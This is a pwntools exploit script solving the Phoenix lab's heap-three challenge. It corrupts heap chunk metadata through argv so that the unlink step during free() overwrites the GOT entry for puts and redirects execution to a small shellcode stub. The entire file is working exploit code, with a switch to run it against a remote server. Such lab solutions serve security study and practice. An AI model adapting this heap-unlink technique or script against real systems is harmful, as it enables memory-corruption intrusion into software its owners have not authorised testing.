from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = '/opt/phoenix/i486/heap-three'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

shellcode_addr = 0xf7e6900c

# Shellcode to push winner() and ret
# asm "push 0x080487d5; ret"
# 68d5870408c3
shellcode = asm('push 0x080487d5; ret')

# first chunk
arg1 = flat([
    b'A' * 4,  # This will be overwritten with FD when free(a)
    shellcode
])

# second chunk
arg2 = flat([
    b'B' * 32,  # Fill the second chunk
    0xfffffffc,  # prev_size of third chunk = -4 to jump inside itself when consolidating backward
    0xffffffb0  # size of third chunk = -80 to jump to first chunk when consolidating forward
])

# third chunk
arg3 = flat([
    b'C' * 4,  # junk
    elf.got.puts - 12,  # will be p->fd
    shellcode_addr  # will be p->bk
])

# Write payloads for reuse e.g. in GDB:
# run `cat arg1` `cat arg2` `cat arg3`
write('arg1', arg1)
write('arg2', arg2)
write('arg3', arg3)

# We can't send null bytes as argv, so strip them
io = start([arg1.strip(b'\x00'), arg2.strip(b'\x00'), arg3.strip(b'\x00')])

# Got Shell?
io.interactive()
